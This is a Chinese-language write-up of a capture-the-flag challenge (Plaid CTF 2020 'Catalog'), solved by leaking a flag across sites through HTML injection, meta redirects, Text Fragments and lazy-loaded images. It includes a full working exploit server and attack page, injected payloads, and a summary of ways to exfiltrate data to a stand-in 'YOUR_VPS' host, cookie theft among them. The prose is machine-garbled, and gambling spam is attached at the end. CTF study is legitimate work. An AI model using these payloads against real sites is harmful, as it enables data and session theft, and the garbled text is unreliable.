http://catalog.pwni.ng/issue.php?id=3,:~:text=T-,F,{,-}&text=T-,F,{,-0&text=T-,F,{,-1&text=T-,F,{,-2&text=T-,F,{,-3&text=T-,F,{,-4&text=T-,F,{,-5&text=T-,F,{,-6&text=T-,F,{,-7&text=T-,F,{,-8&text=T-,F,{,-9&text=T-,F,{,-A&text=T-,F,{,-B&text=T-,F,{,-D&text=T-,F,{,-E&text=T-,F,{,-F&text=T-,F,{,-G&text=T-,F,{,-H

若匹配乐成,则在该部门继续二分,若匹配失败,则用另一个局限二分,直到匹配只剩一个字符即是flag

复现 & exp

上面已经剖析完这道题所需要的手艺和知识了,现在只需将上述历程行使exp来实现,实在原理照样好明白,然则exp就有点糊:)

这里先给出exp:

  1. exp.js

在自己的vps上用node运行

const express = require("express");
const app = express();

let status = false;
let unlock = false;
let match = false;

app.get("/status", (req, res) => {
    res.send(`${status}`);
});

app.get("/unlock", (req, res) => {
    unlock = true;
    res.send("unlock");
});

app.get("/firstload", (req, res) => {
    console.log("==> Admin opened challenge's page");
    res.send("firstload");
});

app.get("/", (req, res) => {
    console.log("==> Admin was redirected to attacker's page");
    res.sendFile("index.html", {
        root: __dirname
    });
});

app.get("/injection", (req, res) => {
    console.log("==> HTML injection was inserted into id=3 catalog");
    setTimeout(() => {
        if (match) console.log("==> There was a match");
        else console.log("==> There wasn't a match");
        match = false;
        unlock = false;
        status = false;
    }, 1000);
    res.send("injection");
});

app.get("/exfiltrated", (req, res) => {
    match = true;
    res.send("exfiltrated");
});

app.get("/fragment", (req, res) => {
    status = true;
    console.log("==> Admin was fragmented");
    let timer = setInterval(async () => {
        if (unlock) {
            res.send("fragment");
            clearInterval(timer);
        }
    }, 1);
});

app.listen(port);
console.log("Server running on port: " + port);
  1. index.html

根目录存放的index.html文件,当接见http://your_vps/时会加载

<html>
    <head>
        <title>exp</title>
        <script>
            const next = async () => {
                let res  = await fetch("/status");
                let status = await res.text();
                if (status === "true") {
                    await fetch("http://catalog.pwni.ng/user.php", {
                        "headers": {
                            "content-type": "application/x-www-form-urlencoded",
                        },
                        "body": `username="/><img src="http://your_vps/injection"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><div align="left"><img src="http://your_vps/exfiltrated" loading="lazy"></div><em>&password=1&action=login`,
                        "method": "POST",
                        "mode": "no-cors",
                        "credentials": "include"
                    });
                    await fetch("/unlock");
                } else {
                    next();
                }
            }

            next();
        </script>
    </head>
    <body>
        <iframe src="http://catalog.pwni.ng/issue.php?id=issue1" style="position: absolute; width: 400%; height: 500px; border: 0"></iframe>
    </body>
</html>

然后我们剖析一下exp和整个攻击链的事情流程:(条件注册账号等事情已经完成)

1.确立issue1,抓包改post内容为

id=issue1&title=3&content=1&image=z"/><img src="http://your_vps/fragment"><meta http-equiv="refresh"+content="0;URL='http://catalog.pwni.ng/issue.php?id=3,:~:text=T-,F,{,-}%26text=T-,F,{,-0%26text=T-,F,{,-1%26text=T-,F,{,-2%26text=T-,F,{,-3%26text=T-,F,{,-4%26text=T-,F,{,-5%26text=T-,F,{,-6%26text=T-,F,{,-7%26text=T-,F,{,-8%26text=T-,F,{,-9%26text=T-,F,{,-A%26text=T-,F,{,-B%26text=T-,F,{,-D%26text=T-,F,{,-E%26text=T-,F,{,-F%26text=T-,F,{,-G%26text=T-,F,{,-H%26text=T-,F,{,-I%26text=T-,F,{,-J%26text=T-,F,{,-K%26text=T-,F,{,-L%26text=T-,F,{,-M%26text=T-,F,{,-N%26text=T-,F,{,-O%26text=T-,F,{,-P%26text=T-,F,{,-Q%26text=T-,F,{,-R%26text=T-,F,{,-S%26text=T-,F,{,-T%26text=T-,F,{,-U%26text=T-,F,{,-V%26text=T-,F,{,-W%26text=T-,F,{,-X%26text=T-,F,{,-Y%26text=T-,F,{,-Z%26text=T-,F,{,-_'">

这里行使的是img url处的注入,注入的内容行使meta跳转、Text Fragments来发送请求爆破flag

flag所在页面是http://catalog.pwni.ng/issue.php?id=3

2.确立issue2,抓包改内容为

id=issue_id_2&title=3&content=1&image="><meta http-equiv="refresh" content="0;URL='http://your_vps/'">"

issue2是攻击链的起点,提交给admin bot接见

3.vps上起服务:node exp.js

4.提交issue2所在页面(http://catalog.pwni.ng/issue.php?id=3)给admin接见,由于存在meta跳转,会跳转到vps上的index.html

5.index.html中的iframe会请求issue1所在页面,并通过AJAX发送请求给http://your_vps/status,由于exp.js中会返回status为false并完成let status = await res.text();赋值,而页面存在if (status === "true"),因此将进入else分支,不停执行next()异步函数,也就不停从服务端获取status,只有当status === "true"时,才气进入if
6.当iframe加载完毕后,由于issue1中存在<img src="http://your_vps/fragment">,故请求/fragment路由

app.get("/fragment", (req, res) => {
    status = true;
    console.log("==> Admin was fragmented");
    let timer = setInterval(async () => {
        if (unlock) {
            res.send("fragment");
            clearInterval(timer);
        }
    }, 1);
});

其中设置了status = true;,此时返回的status知足页面的if条件,因此/fragement路由的作用就是来解status锁,而且设置另一个fragment锁,该fragment锁由于setInterval重复事宜会阻碍meta跳转,需守候unlock参数来接触。此时示意iframe已最先加载issue1的内容但还未举行meta跳转

7.进入if后,并fetch请求http://catalog.pwni.ng/user.php,由于此时是admin身份的session,而username参数不是admin,发送请求导致登录失败,因此admin的session存储的html元素会酿成登录失败的html元素,也就注入了"/><img src="http://your_vps/injection">...这一部门内容进入admin的session中

8.下一步执行await fetch("/unlock");,显著这个路由是解fragment锁的,此时示意issue1页面所有加载且可以meta跳转到包罗flag和text fragments功效的界面

9.meta跳转用的是admin session,而第7步已经将admin session变为注入的内容。从这里我们可以知道fragment锁的作用就是守候admin session注入后由meta跳转携带注入内容到flag所在页面。一加载完flag所在页面后,先会<img src="http://your_vps/injection">请求injection路由:

app.get("/injection", (req, res) => {
    console.log("==> HTML injection was inserted into id=3 catalog");
    setTimeout(() => {
        if (match) console.log("==> There was a match");
        else console.log("==> There wasn't a match");
        match = false;
        unlock = false;
        status = false;
    }, 1000);
    res.send("injection");
});

此时设置1000即1s的延迟,为了守候Text Fragments来匹配flag

10.由于注入足够多的<br>标签,会将flag挤出视窗外,而且uBlock维持了User Activation从而可引发Text Fragments功效,举行flag匹配,若是匹配到flag,就会触发转动,由于图片懒加载机制,此时才会请求/exfiltrated路由

app.get("/exfiltrated", (req, res) => {
    match = true;
    res.send("exfiltrated");
});

设置了match为true,因此在injection路由中会输出==> There was a match判断回显,否则,match默以为false

这整个流程完成一次只能完成一次二分,因此事情量照样蛮大的,若是flag的位数很长的话,要重复上述流程许多次。以是这道题的复现难度照样很大的,然则原理明白清晰的话也基本上完成了学习的目的了。

参考

Plaid CTF 2020 Catalog

官方wp

总结

思索点

通过四道题学习侧信道,发现外洋ctf(除noxss)的问题很喜欢出一些跟xss和前端有关的问题,涉及的手艺有点偏前端、侧信道以及浏览器的一些新特征,而且攻击链的组织对照庞大。稍微总结一下有关侧信道问题的思索点:

  1. 若何外带flag或盲注flag并完成判断回显。

通常需要借助一些匹配特征(上文的XSS Auditor、连字、Text Fragments)来盲注flag,对于回显判断,则需要有回显信息到自己的vps中(日志或用于判断的Nodejs服务),而信息的泉源则需要在匹配到flag时发送请求(iframe的二次onload、连字的转动条、转动条+图片懒加载)

  1. 若何获取可以行使的特征

这个就对照玄学了,可能大部门师傅不是由于能力缘故原由,而是由于特征难找而没做出来,仅凭证上文特征的出处稍微总结一下

  • chrome各版本特征

  • PortSwigger:研究web前端平安对照多的一个站点

浏览器对外发送请求的方式

要想外带数据,基本需要以admin的身份通过浏览器对外发送数据从而获取flag

1.<iframe>iframe.src配合iframe.onload

35C3 CTF filemanager这道题的方式,改变iframe.src触发iframe.onload请求src所指向的url

iframe.onload = () => {}; //发送请求外带数据
iframe.src = 'http://YOUR_VPS:PORT/?flag=' + encodeURIComponent(real_flag);  外带数据

2.iframe框架载入资源 + CSS设置-webkit-scrollbar转动条触发请求

<style>
    body::-webkit-scrollbar:horizontal{
        display: block;
        backgroud: bule url("http://YOUR_VPS:PORT");
    }
</style>

3.用户视窗外的图片懒加载机制发送请求

<img src>自己就可发送请求,只不外连系了图片的懒加载机制配合爆破flag

<img src='http://YOUR_VPS/' loading=lazy>

4.<meta http-equiv="Refresh" content="0;URL='http://YOUR_VPS/'">

http-equiv属性会在发送给浏览器的http请求头中添加名值对(http-equiv/content)字段信息,上述语句的作用是刷新文档后0秒请求URL内的资源。

5.window.location.href ==document.location.href == location.href

最基本的窃取cookie的方式

Allbet Gaming声明:该文看法仅代表作者自己,与阳光在线无关。转载请注明:usdt场外交易平台(www.caibao.it):从三道题学习xss侧信道
发布评论

分享到:

usdt无需实名(www.caibao.it):上汽大通MAXUS NEW申报信息 霸气十足
1 条回复
  1. allbet6.com
    allbet6.com
    (2021-04-27 00:08:39) 1#

    皇冠APP下载好多粉丝等你呢

发表评论

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。